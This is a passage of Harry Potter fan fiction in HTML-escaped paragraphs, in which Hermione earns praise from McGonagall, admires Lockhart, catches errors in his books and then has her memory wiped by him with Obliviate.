Mrs. Weasley furious at him, but she had a feeling his family couldn&#8217;t exactly afford a new wand. Ron&#8217;s had been a hand-me-down as it was. She felt a bit guilty for her earlier gloating over the howler he had received. She didn&#8217;t know what was wrong with her; she hadn&#8217;t felt that sort of animosity towards him since before they became friends. It felt as if her emotions were on a rollercoaster.</p>\n\n<p> Hermione reached down in her bag and handed Ron a roll of spellotape. &#8220;It&#8217;s not much, but maybe it&#8217;ll help.&#8221;</p>\n\n<p> &#8220;Thanks,&#8221; Ron mouthed as he began to repair his broken wand.</p>\n\n<p> Unfortunately, the spellotape didn&#8217;t help. Ron&#8217;s wand performed terribly during transfiguration and there was nothing he could do about it. He was miserable.</p>\n\n<p> &#8220;How am I going to get through the year with this,&#8221; he grumbled as the wand emitted a puff of gray smoke.</p>\n\n<p> &#8220;I&#8217;ll look up wand repair in the library later,&#8221; she promised him. &#8220;Maybe I can find something temporary to help you.&#8221;</p>\n\n<p> Ron didn&#8217;t seem uplifted by this offer though. &#8220;I don&#8217;t think anything can help this.&#8221;</p>\n\n<p> Hermione was about to offer him more words of comfort but at that moment, the lunch bell rang and Professor McGonagall called out to her. &#8220;Ms. Granger, will you please come with me to my office.&#8221;</p>\n\n<p> Hermione turned to her two friends, and they both had a worried look on her face. &#8220;I&#8217;m sure it&#8217;s nothing bad; I&#8217;ll meet you in the Great Hall.&#8221; She grabbed her bag and filed out of the classroom behind McGonagall and the other students.</p>\n\n<p> McGonagall didn&#8217;t say anything to her until they reached her office and she shut the door behind her. For a moment, Hermione thought there might actually be something wrong but when the Professor spoke from behind her desk, her tone was not severe. </p>\n\n<p> &#8220;Ms. Granger, I went over the work you submitted, and I must say&#8230; I&#8217;m very impressed.&#8221; McGonagall said it as if it cost her a lot to admit it.</p>\n\n<p> Hermione smiled politely. &#8220;Well, thank you, Professor. Does this mean I&#8217;ll be getting extra credit, and maybe some house points?&#8221;</p>\n\n<p> &#8220;Ms. Granger,&#8221; McGonagall said a little more severely this time. &#8220;I don&#8217;t think you understand. The research I assigned to you was complex. It&#8217;s the kind of work I would have given a student in their OWL year. I know you&#8217;re exceptionally bright, but I have to admit, I never expected you to complete it, and so thoroughly.&#8221;</p>\n\n<p> Hermione didn&#8217;t know whether this was a good or bad thing as McGonagall seemed very serious. &#8220;Uh&#8230; did I do something wrong?&#8221;</p>\n\n<p> McGonagall pulled a file from the middle of a stack of identical folders. Though Hermione didn&#8217;t have too long to process this move, she did wonder vaguely how the professor had known that this one file in several dozen was the right one.</p>\n\n<p> &#8220;I found out about your experience at the ministry seminar last summer, very impressive. You spoke two different languages when you held the realizer and you&#8217;re grades last year were nothing short of astounding. You have a natural aptitude for magic that surpasses most students who have passed through these halls.&#8221;</p>\n\n<p> Hermione didn&#8217;t know what to say. It was rare that McGonagall gave out compliments like this. It was almost as if she were bragging.</p>\n\n<p> &#8220;Ms. Granger, I know it&#8217;s a little premature to be making a decision about what career you want to pursue after school, however, soon you will have the opportunity to select new subjects to take starting third year. It&#8217;s never too early to start planning for the future, so I really want to encourage you to take as many classes as you seem interested in. You&#8217;ll find that you&#8217;ll have a lot more opportunities if you do. I don&#8217;t want you to get panicked though; you still have plenty of time to decide what you want to do.&#8221;</p>\n\n<p> &#8220;I just feel like I&#8217;ll never know,&#8221; Hermione admitted.</p>\n\n<p> Surprisingly, McGonagall smiled at this. &#8220;Let me let you in on a little secret, Ms. Granger. When I was your age, I had no idea what I wanted to do either. It&#8217;s not uncommon.&#8221;</p>\n\n<p> Hermione nodded at this, slightly relieved.</p>\n\n<p> &#8220;Take some time over the next couple of years to talk to your professors about your strengths and weaknesses and maybe that will help you. Don&#8217;t stress too much about it though, as I said before, you still have time. For now, you&#8217;re gong to get the extra credit I promised you, along with 40 points for Gryffindor.&#8221;</p>\n\n<p> Hermione stood. &#8220;Thank you, Professor.&#8221; She let herself out of the office and started towards the Great Hall so she could meet Harry and Ron for lunch.</p>\n\n<p> As she entered, she once again ran into Gilderoy Lockhart. Hermione was so startled, she dropped the coat buttons she transfigured in class and had been carrying since she left the classroom.</p>\n\n<p> &#8220;Ah what have we here,&#8221; Lockhart said, still with the same perfect smile he always seemed to have.</p>\n\n<p> &#8220;Oh,&#8221; Hermione blushed as she picked up the half dozen buttons she dropped. &#8220;They&#8217;re just beetles I transfigured in class. I kept them to see if I could transfigure them back. It&#8217;s supposed to be very difficult.&#8221;</p>\n\n<p> &#8220;You transfigured all of these?&#8221; Lockhart said in awe. &#8220;Very impressive. You know you remind me of me when I was younger. I had quite an aptitude for transfiguration among other things. I&#8217;d say you&#8217;re almost as skilled as I was when I was your age. Keep up the good work. You never know, maybe with a little more practice you could get a few advanced lessons from me,&#8221; he said with a laugh as he left up the stairs.</p>\n\n<p> Hermione beamed as she made her way to the Gryffindor table and pulled out her schedule. She wanted to know exactly when she would have her first lesson with her idol. <i>&#8220;Maybe I can ask Lockhart about my career options. I bet he had a lot of problems deciding what he wanted to do when he was a young wizard. Anyone with that much talent must have had loads of problems deciding what to do.&#8221; </i>As she thought about this, she began absentmindedly doodling on her schedule.</p>\n\n<p> She didn&#8217;t have long to day dream though. Harry and Ron appeared a few moments later. &#8220;Where have you two been,&#8221; she said hiding her course listing from view. &#8220;I&#8217;d have thought you&#8217;d have gotten here before me.&#8221;</p>\n\n<p> &#8220;We had a lot of clean up to do; Ron&#8217;s wand made a real mess of things,&#8221; Harry explained.</p>\n\n<p> &#8220;The spellotape didn&#8217;t work,&#8221; Ron grumbled. &#8220;Not that it really matters. I don&#8217;t even think with a perfect wand I&#8217;d have been able to transfigure those beetles.&#8221;</p>\n\n<p> &#8220;Oh, you&#8217;d have done fine. Look.&#8221; Hermione pulled out her transfigured beetles. &#8220;See, it&#8217;s really easy, isn&#8217;t it Harry?&#8221;</p>\n\n<p> Harry, who had a look like a deer caught in headlights, avoided the subject by rummaging through his bag, &#8220;What have we got this afternoon.&#8221;</p>\n\n<p> Hermione caught on that transfiguration was obviously a touchy subject and put her coat buttons away. &#8220;Defense Against the Dark Arts,&#8221; she started to put her own schedule away but Ron seized it.</p>\n\n<p> &#8220;Why have you outlined all Lockhart&#8217;s lessons in little hearts?&#8221; he demanded.</p>\n\n<p> &#8220;I&#8230; I was just bored,&#8221; Hermione said grabbing her schedule back and turning her attention to the food on the table.</p>\n\n<p> &#8220;So what did McGonagall want?&#8221; Harry asked.</p>\n\n<p> &#8220;Oh, I got 40 points for Gryffindor for the extra credit assignments I did over the summer.&#8221; Hermione brightened at the change of subject.</p>\n\n<p> &#8220;Extra credit?&#8221; Ron said in disgust through a mouthful of food. &#8220;Why in the world would you <i>request</i> extra credit over the holidays?&#8221;</p>\n\n<p> &#8220;What does it matter?&#8221; Hermione asked in agitation. &#8220;At least it earned house points. We&#8217;re well on our way to winning the cup again this year.&#8221;</p>\n\n<p> &#8220;You study too much,&#8221; Ron concluded aloud.</p>\n\n<p> &#8220;Why do you always say that? If it weren&#8217;t for my studying you wouldn&#8217;t have been able to&#8230;&#8221; She stopped herself from saying, &#8220;find Harry this summer.&#8221;</p>\n\n<p> Ron caught her unspoken words though. &#8220;Oh&#8230; yeah,&#8221; he said sheepishly.</p>\n\n<p> Harry looked from one to the other. &#8220;What?&#8221;</p>\n\n<p> &#8220;Nothing,&#8221; they both said simultaneously.</p>\n\n<p>-----</p>\n\n<p> They had some time after lunch so the trio made their way to the courtyard. </p>\n\n<p> &#8220;Why are you still reading that,&#8221; Ron asked as he saw Hermione pull out &#8220;Voyages with Vampires.&#8221;</p>\n\n<p> &#8220;Yeah, I thought you already read all of Lockhart&#8217;s books over the summer?&#8221; Harry added bemused.</p>\n\n<p> &#8220;You read them all?&#8221; Ron said shocked. &#8220;How could you possibly manage to do that and pull off extra credit work? You&#8217;re not human.&#8221;</p>\n\n<p> Hermione decided to feign deaf to Ron&#8217;s last statement. &#8220;There&#8217;s this one part in here that doesn&#8217;t make sense. I&#8217;ve read all of Lockhart&#8217;s books, and sometimes things don&#8217;t line up. I&#8217;m trying to figure this one out. Maybe I&#8217;ll ask him during class. It&#8217;s probably an editing mistake.&#8221;</p>\n\n<p> Hermione looked up from her book, expecting some sort of response, but the boys were already engaged in a conversation about quidditch so she returned to her reading.</p>\n\n<p> A few minutes later, Hermione had cause to look up again. She heard the loud, irritating voice of Draco Malfoy shout, &#8220;You&#8217;re giving out signed photos, Potter? Everyone line up, Harry Potter&#8217;s giving out signed photos.&#8221;</p>\n\n<p> Hermione rolled her eyes. It was only the first day and already Malfoy was making trouble. It was clear that he hadn&#8217;t gotten over Harry winning the house cup for Gryffindor last year. She also suspected he was angry at her for making top of the class, above him. Whatever his motives, she knew it was useless to try and stop Harry and Ron from engaging the upstart Slytherin. She&#8217;d tried many times before and always failed. Whenever Malfoy pushed, Harry always had to push back.</p>\n\n<p>\n\n<i>&#8220;Why can&#8217;t they just grow&#8230;&#8221;</i> a flash of something turquoise off to the side caught Hermione&#8217;s attention. It was Gilderoy Lockhart, wide grin plastered on his face, headed right towards them. She shut her book emphatically to get Harry and Ron&#8217;s attention, because it looked as if Ron was about to snap. He had even pulled out his spellotaped wand. </p>\n\n<p> &#8220;Look out!&#8221; she whispered harshly, jerking her head to the side.</p>\n\n<p> Ron put his wand away hastily and Hermione pretended to return to her reading as Gilderoy Lockhart approached them.</p>\n\n<p> Malfoy knew better than to try anything in front of a teacher, and Lockhart&#8217;s natural buoyant personality immediately diffused the tense situation immediately.</p>\n\n<p> Ron inched his way over to Hermione as Lockhart posed for a picture with Harry. </p>\n\n<p> &#8220;Who&#8217;s the kid with the camera?&#8221; she asked him.</p>\n\n<p> Ron shrugged. &#8220;I dunno, but he&#8217;s in Gryffindor. Wanted a signed photo of Harry. Too bad Malfoy had to overhear.&#8221;</p>\n\n<p> &#8220;I see. I&#8217;m sure that&#8217;s the last thing Harry wanted. It&#8217;s a good thing Professor Lockhart was around to diffuse the situation.&#8221;</p>\n\n<p> &#8220;What?&#8221; Ron scoffed as they watched Lockhart guide Harry towards the castle entrance. &#8220;Lockhart was only around because someone had a camera.&#8221;</p>\n\n<p> Hermione shut &#8220;Voyages with Vampires&#8221; again and stood. &#8220;Oh Ron, why do you always think Lockhart is after more fame. He&#8217;s famous enough. He doesn&#8217;t need to go seeking it.&#8221;</p>\n\n<p> &#8220;Whatever, I think he&#8217;s jealous of Harry,&#8221; Ron said.</p>\n\n<p> Hermione scoffed. &#8220;Ron, Gilderoy Lockhart is an international celebrity. He has no reason to be jealous of Harry. That&#8217;s just ridiculous.&#8221;</p>\n\n<p> They made their way to the Defense Against the Dark Arts classroom. &#8220;His so-called adventures sound like a load of rubbish. You said so yourself; you found <i>discrepancies.</i>&#8221;</p>\n\n<p> &#8220;Like I said, I&#8217;m sure their just editing mistakes. Do you really think he&#8217;d be able to get away with just making it all up? People would know he was lying.&#8221;</p>\n\n<p> &#8220;Not necessarily,&#8221; Ron said in a mock-sage sort of way.</p>\n\n<p> &#8220;Have you ever had a theory that turned out to be right?&#8221; Hermione countered smugly.</p>\n\n<p> &#8220;You&#8217;re not always right, you know.&#8221;</p>\n\n<p> &#8220;Yes, but statistically, I have a better chance at being right than you do,&#8221; Hermione beamed as she turned into their classroom behind some other students.</p>\n\n<p> Harry was already sitting at the back of the room, with all of his Defense Against the Dark Arts text books stacked in front of him. As was customary, Ron sat on one side of Harry while Hermione took her place on the other side. Hermione noted how odd it was that they almost always seemed to sit like this, on either side of Harry. It seemed to symbolize their friendship in a way. Ron and Hermione were both bound to Harry but not necessarily to each other. They had become, friends of sorts, but it really seemed that it was Harry that held the trio together.</p>\n\n<p>\n\n<i>&#8220;Would Ron and I even stay friends if Harry left the picture?&#8221;</i> she wondered to herself. They constantly fought and were at each other&#8217;s throat, but that&#8217;s the way it had always been. Hermione kind of&#8230; enjoyed&#8230; their little tit-for-tat conversations. It seemed odd, but it was fun in a way. After all, even though they fought, it wasn&#8217;t as if they <i>hated</i> each other. They were both very opinionated and strong willed. Perhaps it was these similar personality traits that seemed to put them at odds and always made her blame Ron for the mischief that he and Harry got into.</p>\n\n<p> She didn&#8217;t have too much time to think about this though as Professor Lockhart had started into his lesson.</p>\n\n<p> It was clear by the way he started that though Lockhart had done many things in his life, he&#8217;d never taught before. He tried to make a few lighthearted jokes to warm the class up to him, but it was evident that the students were sizing him up. He was new, and they wanted to see what his teaching style was.</p>\n\n<p> Finally, Lockhart jumped straight to the point. &#8220;I see you&#8217;ve all bought a complete set of my books. Well done. I thought we&#8217;d start today, with a little quiz; nothing to worry about, just to check how well you&#8217;ve read them; how much you&#8217;ve taken in.&#8221; Despite these words of reassurance, everyone in the room suddenly looked slightly panicked. No one expected a quiz on the very first day. Not even Professor McGonagall would have done something like that. Hermione too was nervous. She had, of course, read all of Lockhart&#8217;s books, but she would have studied them more thoroughly if she had known they were starting off with an assessment.</p>\n\n<p> When she looked down at her quiz, Hermione realized how truly difficult this was going to be. Apparently Lockhart was a more proficient professor than he let on. As she scanned the first page of questions, she saw that they focused not on the main facts of the books, but the subtle details that were mentioned throughout Lockhart&#8217;s adventures. She looked up at the blonde wizard still beaming as he sat behind his desk. She had new respect for him. He was testing to see how closely they read each book by asking obscure questions you could have only known if you had read them cover to cover as opposed to just skimming through the highlights. Quill in hand, Hermione set to work to show her new idol how well she had read his books.</p>\n\n<p> Lockhart had given the class 30 minutes but it only took Hermione 15 to answer the 54 question quiz. She remembered all of the details that Lockhart had asked for, surprising even herself. She was sure she&#8217;d get full marks.</p>\n\n<p> She looked around to see how everyone else was doing. The looks she saw on Harry&#8217;s and Ron&#8217;s faces as they bent over their papers didn&#8217;t seem good. No one else in the class looked like they were fairing well either. Hermione sat in almost smug placidness until Lockhart took up the quizzes.</p>\n\n<p> She was shocked when the professor started going through the papers in front of the entire class, criticizing those who obviously hadn&#8217;t read his books that closely. Hermione waited with bated breath, hoping that he would reach her quiz, and her patience was rewarded.</p>\n\n<p> &#8220;Ms. Hermione Granger knew my secret ambition is &#8220;to rid the world of evil and market my own range of hair care potions.&#8217; Good girl!&#8221;</p>\n\n<p> Hermione couldn&#8217;t help beaming from ear to ear. So far, she was the only person he had singled out by name for getting something correct, but that wasn&#8217;t all. Lockhart was flipping through her entire quiz, sizing it up.</p>\n\n<p> &#8220;In fact&#8230; full marks!&#8221; Lockhart announced jovially to the class.</p>\n\n<p> Hermione almost burst with joy; she turned to Harry, but could tell immediately that he seemed neither surprised nor impressed by this bit of news.</p>\n\n<p> &#8220;Where is Ms. Hermione Granger?&#8221; Lockhart asked.</p>\n\n<p> This seemed, for a moment, like a silly question, but then Hermione remembered that though she had talked to Lockhart on two separate occasions that day; she had never told him her name.</p>\n\n<p> She raised her hand tentatively, hoping that he would remember her. It seemed that he did by the way he smiled at her in recognition. When Lockhart awarded her 10 points, she beamed, quite pleased with herself. Harry still seamed nonplussed and Hermione could only guess this was because he didn&#8217;t fair well on the surprise examination. From the look of utter shock on Ron&#8217;s face, it was clear he thought the whole thing was rather unfair.</p>\n\n<p> Hermione shrugged this off and returned her attention to their instructor, who was even now placing a large covered cage on his desk.</p>\n\n<p> &#8220;Now, be warned,&#8221; Lockhart started in a more serious tone than was his nature. &#8220;It is my job to arm you against the foulest creatures known to wizard kind. You may find yourself facing your worst fears in this room. Know only that no harm can befall you whist I am here. All I ask is that you remain calm.&#8221;</p>\n\n<p> Hermione barely heard these words as she focused on the cage, trying to discern what it could be holding. </p>\n\n<p> She didn&#8217;t have to wait long. &#8220;I must ask you not to scream, it might provoke them.&#8221; He unveiled the cage to reveal. &#8220;Freshly caught Cornish pixies!&#8221;</p>\n\n<p> Hermione exhaled, only then aware that she had been holding her breath. <i>&#8220;Pixies!&#8221; </i>she thought angrily to herself. This was so unfair. Obviously Lockhart had heard that they hadn&#8217;t exactly gotten a proper education in Defense Against the Dark Arts their previous year. So now he was starting them with the most rudimentary of household pests. Other students were voicing their descent. Apparently everyone felt the same way. Did Lockhart really think they couldn&#8217;t handle a pack of pixies?</p>\n\n<p> Lockhart merely smiled wider and put a hand on the cage. &#8220;Right then, let&#8217;s see what you make of them.&#8221;</p>\n\n<p> He opened the cage door and the pixies immediately flew out all over the classroom. Hermione, like everyone else, was completely unprepared for this. Although pixies were relatively easy to control, they were fast and destructive. She ducked as a pixie rocketed over her and reached in her robes for her wand, which for some reason, she couldn&#8217;t find as immediately as she wanted to.</p>\n\n<p>\n\n<i>&#8220;Figures when I really need it, I can&#8217;t find it.&#8221;</i> She heard screams from several members of the class and a lot of muffled footsteps as she sat under her desk desperately searching through what now seemed like a hundred robe pockets for her wand. She couldn&#8217;t see anything around her, but from what she heard, it didn&#8217;t sound good. No one was able to subdue the pixies and they were causing havoc.</p>\n\n<p> Hermione finally realized why she couldn&#8217;t find her wand. It was in her bag. She grabbed it quickly, pulling it under the desk just as a nearby pixie had set its eyes on it. It started flying right towards her as she reached down in the bag and wrapped her hand around the wooden handle. Whipping it out, she shouted &#8220;Desdin Subsisto&#8221; and the pixie froze in midair.</p>\n\n<p> Hermione barely had a chance to breathe a sigh of relief. She heard the distant ring of the bell, ending their class and felt someone pull on her arm.</p>\n\n<p> It was Ron, &#8220;Come on. Let&#8217;s get outta here.&#8221; He dragged her from under the desk and she only barely had a chance to grab her bag before being pulled bodily towards the door behind the rest of the class, who were all fleeing by now.</p>\n\n<p> &#8220;Wait, I didn&#8217;t even get a chance to&#8230;&#8221; Hermione started to protest.</p>\n\n<p> Ron only tugged harder. &#8220;Oh no, this is crazy, let&#8217;s go.&#8221;</p>\n\n<p> But it was to no avail. Lockhart called to them just as they reached the door. &#8220;Well, I&#8217;ll ask you three to just nip the rest of them back into their cage.&#8221; He walked past them, and Hermione was relieved to see that he didn&#8217;t look disappointed. In fact he winked at her as he walked out the class, giving Hermione the distinct impression that he knew that of the entire class, they were probably the only ones he could trust to clean things up. She felt herself blushing furiously.</p>\n\n<p> Trying desperately to hide her red face from her friends, Hermione set herself to the task of capturing the pixies.</p>\n\n<p> &#8220;Can you believe him?&#8221; she heard Ron bellow behind her.</p>\n\n<p> Hermione only half heard this as she pointed her wand at two pixies and said &#8220;Desdin Subsisto.&#8221; They froze instantly. &#8220;He just wants to give us some hands on experience.&#8221; She knew Ron was loathed to do any extra work.</p>\n\n<p> She walked the two immobilized pixies over to where the cage sat on the desk and shoved them inside. Then she took the cage to where she had left the first pixie she&#8217;d frozen.</p>\n\n<p> &#8220;Hand&#8217;s on?&#8221; Harry said with a slight chuckle as he tried to get his &#8220;hands on&#8221; another pixie. &#8220;Hermione, he didn&#8217;t have a clue what he was doing.&#8221;</p>\n\n<p> &#8220;Rubbish,&#8221; Hermione said as she crawled under her desk and found the first pixie. &#8220;You read his books. Look at all those amazing things he&#8217;s done.&#8221;</p>\n\n<p> &#8220;He <i>says</i> he&#8217;s done,&#8221; Ron countered grumpily.</p>\n\n<p> &#8220;Oh Ron, you&#8217;re not on about that again are you?&#8221; Hermione asked in exasperation.</p>\n\n<p> &#8220;It&#8217;s so obvious Hermione,&#8221; Ron snapped. &#8220;Why can&#8217;t you see it? He&#8217;s a mindless twit. What about that &#8216;quiz&#8217;? What was that about?&#8221;</p>\n\n<p> &#8220;He was checking to make sure that we actually <i>read</i> his books and not just skimmed them for important facts. I think it was very clever.&#8221; Hermione found two more pixies and froze them.</p>\n\n<p> &#8220;Are you insane!&#8221; Ron blurted.</p>\n\n<p> &#8220;You&#8217;re just mad because you didn&#8217;t do well&#8230; did you?&#8221; Hermione said knowingly.</p>\n\n<p> &#8220;Well <i>of course</i> I didn&#8217;t do well!&#8221; Ron was shouting now. &#8220;Those questions were ridiculous.&#8221;</p>\n\n<p> &#8220;You know, it surprises me that you&#8217;re from a wizarding family. You of all people should know that things aren&#8217;t always as they seem. It&#8217;s just like Quirrell last year. Who&#8217;d have guessed he was in league with &#8216;you know who.&#8217; I&#8217;m telling you, Lockhart may seem flighty, but it&#8217;s all an act. I can tell. He gave us these pixies today because he knew that we hadn&#8217;t had a proper education in Defense Against the Dark Arts and he wanted to see what we would make of this small task, and look what happened; he was right! No one could handle the pixies. He probably thinks we&#8217;re a bunch of idiots now.&#8221;</p>\n\n<p> &#8220;Even if you&#8217;re right, Hermione, I still don&#8217;t like him,&#8221; Harry said, finally grabbing the pixie he&#8217;d been reaching for and throwing it in the cage. &#8220;He&#8217;s so smug and arrogant. He&#8217;s got to be the most pompous wizard I&#8217;ve ever met. Dumbledore&#8217;s 10 times the wizard Lockhart is, and you don&#8217;t see him bragging about it.&#8221;</p>\n\n<p> &#8220;Just because he&#8217;s confident about his abilities, doesn&#8217;t make him a prat. Do you think the same thing about me just because I&#8217;m a better witch than you? Oh wait,&#8221; she shot an angry look at them. &#8220;I almost forgot; you <i>did</i> think that before, didn&#8217;t you!<i>&#8221; </i>With that pronouncement, she shoved the last of the pixies into the cage, slamming the door shut. &#8220;I&#8217;ll take this to Lockhart&#8217;s office.&#8221;</p>\n\n<p>-----</p>\n\n<p> Hermione stormed angrily towards Lockhart&#8217;s office. &#8220;I don&#8217;t believe them,&#8221; she muttered to herself. &#8220;Always have to judge everyone. It was the same thing with Snape. We got so caught up on not liking him we didn&#8217;t even see the truth. Well not this time, I&#8217;m not going to let their prejudice distract me.&#8221; She pushed her way angrily into Lockhart&#8217;s office without even knocking.</p>\n\n<p> &#8220;Why Ms. Granger; that didn&#8217;t take long,&#8221; Lockhart said in mild surprise. &#8220;I just got back in myself, had to go outside for a moment so I would have missed you if you had gotten here any earlier,&#8221; he said, slipping his wand in his robe pocket.</p>\n\n<p> &#8220;Oh, sorry for barging in like that professor.&#8221; Hermione said distractedly as she looked around the office and saw dozens of photos of the professor smiling down at her.</p>\n\n<p> &#8220;It&#8217;s alright,&#8221; Lockhart said with a smile even wider than the ones in the pictures of him. &#8220;I daresay I&#8217;ve had my share of people beating down my door before.&#8221;</p>\n\n<p> Hermione put the cage on his desk. &#8220;Professor, why do you have so many pictures of yourself?&#8221;</p>\n\n<p> &#8220;Ahhh,&#8221; Lockhart gave her a knowing wink. &#8220;I always have to have a ready supply, for my fans. I bet you want one, don&#8217;t you?&#8221; He grabbed one from a stack in front of him.</p>\n\n<p> Hermione sat down in the chair across from his desk. His answer didn&#8217;t sit well with her. &#8220;That&#8217;s not the only reason is it? They&#8217;re there for another purpose, aren&#8217;t they?&#8221; Lockhart&#8217;s smile faded only just slightly, but Hermione noticed it all the same.</p>\n\n<p> &#8220;You&#8217;re a clever little witch, aren&#8217;t you Ms. Granger. Tell me; what do <i>you</i> think the pictures are for.&#8221;</p>\n\n<p> Hermione thought about this long and hard. All of the Lockhart&#8217;s continued to wink and grin at her. &#8220;You&#8217;ve given them to a lot of the students and staff at Hogwarts I bet and of course, wizarding photos can move and even leave their frames if they like. If these pictures are all over the castle, it&#8217;s like you&#8217;ve got a network of mini Lockharts that act as spies. Quite a clever trick actually; helps you keep an eye on all the students and the castle.&#8221;</p>\n\n<p> Lockhart&#8217;s smile completely faded this time. &#8220;That&#8217;s absolutely brilliant,&#8221; he said in awe. &#8220;I would have never thought that&#8230; that you would have figured out my clever ruse.&#8221; He smiled at her again.</p>\n\n<p> Hermione beamed. &#8220;See I knew it. My friend&#8217;s think you don&#8217;t know what you&#8217;re doing, but I can tell it&#8217;s all an act. After reading your books, I know you use a lot of deception and tricks to put people off their guard.&#8221;</p>\n\n<p> &#8220;Ah, yes, and I can tell you <i>have</i> been reading my books; first person to get full marks.&#8221; Lockhart thought about this for a moment. &#8220;In fact, weren&#8217;t you the one who said you&#8217;d noticed some discrepancies?&#8221;</p>\n\n<p> &#8220;Oh yeah.&#8221; Hermione was pleased he actually remembered. &#8220;I thought you might want to know about them, in case they were important.&#8221;</p>\n\n<p> &#8220;Well, Ms. Granger, I do have an editor for these things,&#8221; he said with a light chuckle.</p>\n\n<p> &#8220;I know, I know,&#8221; Hermione said hastily pulling out her copy of &#8220;Voyages with Vampires&#8221; and flipping through it. &#8220;It&#8217;s just&#8230; you discussed the meridian plant, here in chapter 16.&#8221; She pushed the book in front of him. &#8220;When you were talking about your trip to the Vampire Colonies in France, you said you found some meridian and used that as a natural barrier to the vampires&#8217; mental manipulations, but meridian doesn&#8217;t grow anywhere in Europe and also&#8230;&#8221;</p>\n\n<p> &#8220;Oh of course it doesn&#8217;t,&#8221; Lockhart grabbed the book hastily. &#8220;What it should say is that I brought some with me from Egypt.&#8221;</p>\n\n<p> &#8220;Meridian doesn&#8217;t grow in Egypt either, Professor,&#8221; Hermione interrupted again, a little slower this time because it seemed as though he was becoming agitated. &#8220;Besides, meridian wouldn&#8217;t produce the effects you described here. Although it is useful against vampire bites...&#8221;</p>\n\n<p> &#8220;You&#8217;ll find that when you&#8217;re out in the real world, not everything you read in a text book is true.&#8221; Lockhart said in a pacifying tone, as if he were talking to a small child who wasn&#8217;t getting her way.&#8221;</p>\n\n<p> Hermione sighed in exasperation now. It was clear to her that Lockhart did not like to be told that something in his book could be wrong. &#8220;Are you sure it&#8217;s not supposed to be mantragenian. I thought perhaps it might just be a typo,&#8221; she blurted out finally.</p>\n\n<p> Lockhart stopped in mid protest. &#8220;Oh,&#8221; he stared down at the page. The smile had returned to his face as he looked up at her again. &#8220;I do believe you&#8217;re right. Silly me. I didn&#8217;t even realize. Why it&#8217;s been so long since I&#8217;ve had that adventure, I must have forgotten. My, my, my. I&#8217;ve amassed so much knowledge over the years, sometimes I even confuse myself. I will have to write my editor right away to correct that. Would you mind writing it down for me so I won&#8217;t forget. Besides I&#8217;ll want to give you full credit.&#8221;</p>\n\n<p> Hermione returned the smile but only half heartedly. She reached in her bag for a quill and parchment. Now she was beginning to see what Ron and Harry had seen all along. Could Gilderoy Lockhart really be a fake? She had to find out for herself.</p>\n\n<p> &#8220;Professor,&#8221; she started cautiously as she began to put her correction to parchment. &#8220;There was something else I wanted to ask you.&#8221;</p>\n\n<p> &#8220;Go right ahead,&#8221; Lockhart said as he took the piece of folded parchment she handed him.</p>\n\n<p> &#8220;Well my friend&#8230; uh&#8230; Ron has a brother who works for Gringotts in Egypt and had a powerful curse put on him just yesterday, it transfigured him completely. I was wondering, since you dealt with these kinds of ancient curses before, what do you think will return him to normal. I think he told me the doctors were going to use mandrake, but in your book &#8220;Travels with Trolls&#8221; you came across a similar curse and used bubotuber puss. It seemed to be extremely effective, don&#8217;t you think? Would that work on my friend&#8217;s brother or are the doctors right by using mandrake?&#8221;</p>\n\n<p> Lockhart fell for her trick. &#8220;I find that doctors are too stuck on the &#8216;traditional&#8217; medicines. I&#8217;m not saying mandrake isn&#8217;t an adequate restorative but as I&#8217;m sure you&#8217;ve found from reading my book, bubotuber would work far better and clear him up in no time.&#8221;</p>\n\n<p> Hermione jumped out of her chair. &#8220;Right, it would clear him up in no time&#8230; if he had a harsh case of acne, which is what you used bubotuber for in your book, to clear up a nasty case of troll warts to earn their trust. At least, that&#8217;s what you <i>said</i> you did but it&#8217;s quite clear to me that you don&#8217;t know the slightest thing about herbal remedies or Defense Against the Dark Arts. I&#8217;m beginning to think you didn&#8217;t do a single thing you wrote about in those books. I can&#8217;t believe Professor Dumbledore hired you!&#8221;</p>\n\n<p> Lockhart stood alarmed. &#8220;Ms. Granger, please calm down. I can explain everything.&#8221;</p>\n\n<p> Hermione collected her bag and turned on her heals. &#8220;I can&#8217;t believe I fell for it. Harry and Ron were&#8230;&#8221;</p>\n\n<p>\n\n<i>&#8220;Obliviate,&#8221;</i> came Lockhart&#8217;s voice from behind her.</p>\n\n<p> Hermione felt a cool breeze through her hair. &#8220;Professor, is your window open?&#8221; She peered behind him, but the window was closed. &#8220;That&#8217;s odd, I thought I felt something.&#8221; She put her tea cup on the desk.</p>\n\n<p> Lockhart put his down as well. &#8220;Well, this castle always seems to be a little drafty,&#8221; he said with a grin.</p>\n\n<p> &#8220;I&#8217;ve completely forgotten what we were talking about,&#8221; Hermione said leaning back in her chair and shaking her head to clear the fog out of her brain. &#8220;I think that tea has made me a little drowsy.&#8221;</p>\n\n<p> &#8220;That&#8217;s to be expected. It&#8217;s my own secret blend. Well, look at the time; I daresay we&#8217;ve been sitting here chatting for quite a bit.&#8221;</p>\n\n<p> Hermione looked at her watch. &#8220;You&#8217;re right.&#8221; She stood to leave, grabbing her bag. &#8220;Thank you for the tea professor, and thank you for sharing some of your unpublished adventures with me. You really are a wonderful inspiration.&#8221;</p>\n\n<p> &#8220;Well I&#8217;m always happy to share my stories with someone so eager to listen and learn,&#8221; Lockhart answered as he ushered her to the door. &#8220;Believe me, you&#8217;ve also been a great help to me as well.&#8221;</p>\n\n<p> &#8220;Me?&#8221; Hermione almost squeaked, blushing again. &#8220;What could I have possibly done to help you? Even the typos I thought I found turned out to be nothing.&#8221;</p>\n\n<p> &#8220;I always say you can learn something from everyone. Trust me; you&#8217;ve provided me with a great deal of insight, I hope we can chat again too.&#8221;</p>\n\n<p> &#8220;Really? I&#8217;d like that.&#8221; Hermione beamed openly as she started down the hall. &#8220;Thank you again Professor; see you next class.&#8221;</p>\n\n<p>-----</p>\n\n<p> &#8220;Oy, there you are,&#8221; Ron called to Hermione as she climbed through the portrait hole. &#8220;You were gone so long; I thought you&#8217;d disowned us.&#8221;</p>\n\n<p> &#8220;Don&#8217;t think the thought hasn&#8217;t crossed my mind,&#8221; Hermione said in a mock testy voice. In truth she couldn&#8217;t get herself worked up. She had enjoyed her time with Lockhart far too much to be in a foul mood. &#8220;For your information, I&#8217;ve been having tea with Professor Lockhart. He&#8217;s really very insightful and inspiring once you take the time to get to know him. That bubbly exterior is just an act.&#8221;</p>\n\n<p> &#8220;Oh, let&#8217;s not get on that again,&#8221; Harry sighed. &#8220;I don&#8217;t want to hear another word about that prat&#8230;&#8221; Hermione shot him a dirty look. &#8220;I mean about <i>Professor</i> Lockhart,&#8221; he corrected himself. &#8220;Let&#8217;s just get this homework 